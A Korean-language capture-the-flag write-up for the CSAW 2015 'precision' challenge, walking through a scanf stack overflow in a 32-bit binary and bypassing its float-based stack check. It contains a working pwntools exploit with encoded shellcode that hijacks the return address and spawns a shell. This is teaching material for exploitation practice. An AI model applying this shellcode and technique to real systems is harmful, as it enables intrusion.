[2015_csaw] [PWN] precision

Prior information

프로그램은 스택 카나리와 nx는 안걸려 있고, 문제에서 버퍼 위치를 찍어 줍니다.

$ file ./precision
./precision: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV),
dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]
=929fc6f283d6f6c3c039ee19bc846e927103ebcd, not stripped

$ ./checksec.sh --file precision
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   precision

$ ./precision
Buff: 0xff9f7718
joizel
Got joizel

Source Analysis

먼저 IDA Hexray를 이용하여 해당 프로그램의 소스를 확인해보면 다음과 같습니다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
    int v4; // [sp+18h] [bp-88h]@1
    double v5; // [sp+98h] [bp-8h]@1

    v5 = 64.33333;
    setvbuf(stdout, 0, 2, 0);
    printf("Buff: %p\n", &v4);
    __isoc99_scanf("%s", &v4);  // overflow
    if ( 64.33333 != v5 )
    {
        puts("Nope");
        exit(1);
    }
    return printf(str, &v4);
}

Segmentation fault

__isoc99_scanf에서 128바이트 이상 값이 입력될 경우 버퍼 오버플로우가 발생되는 것을 확인할 수 있습니다.

$ python -c 'print "A"*127' | ./precision
Buff: 0xff96b918
Got AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAA

$ python -c 'print "A"*128' | ./precision
Buff: 0xfff6c378
Nope

중간에 v5값만 맞춰서 넣어 주면 리턴 주소값을 변경할 수 있습니다.

v5값은 IDA Hexray에서 dbl(floating point data) 형식으로 64.33333이 정의 되어 있는데 해당 값을 dword 형식으로 변환하면 해당 값이 0x475a31a5 40501555 인것을 확인할 수 있습니다.

../_images/pwn-01.png

exploit

공격 코드는 다음과 같습니다.

from pwn import *

#r = remote("54.173.98.115", 1259)
r = process("./precision")
recv = r.recvline()

buf_addr = int(recv.split(" ")[1][2:], 16)
print "%d [%s]" % (buf_addr, hex(buf_addr))

# len(shellcode) = 74
shellcode = "\xeb\x25\x5e\x31\xc9\xb1\x1e\x80\x3e\x07\x7c\x05\x80
\x2e\x07\xeb\x11\x31\xdb\x31\xd2\xb3\x07\xb2\xff\x66\x42\x2a\x1e
\x66\x29\xda\x88\x16\x46\xe2\xe2\xeb\x05\xe8\xd6\xff\xff\xff\x38
\xc7\x57\x6f\x69\x68\x7a\x6f\x6f\x69\x70\x75\x36\x6f\x36\x36\x36
\x36\x90\xea\x57\x90\xe9\x5a\x90\xe8\xb7\x12\xd4\x87"

# 128(dummy + shellcode) + v5 + 12(dummy) + ret(buf_addr)
#
r.sendline("A"*(128 - len(shellcode)) + shellcode + p32(0x475a31a5)
+ p32(0x40501555) + "EEEECCCCDDDD" + p32(buf_addr))
#r.recv()
r.interactive()

#r.sendline("cat flag.txt")
print r.recv()

#r.sendline("cat /lib32/libc.so.6")

#x = ""
#while r.can_recv(5):
    #x += r.recv()

#with open("libc", "wb") as f:
    #f.write(x)

해당 공격 코드 실행 결과는 아래와 같다.

$ python exploit.py

[+] Started program './precision'
4294231000 [0xfff4c3d8]
[*] Switching to interactive mode
$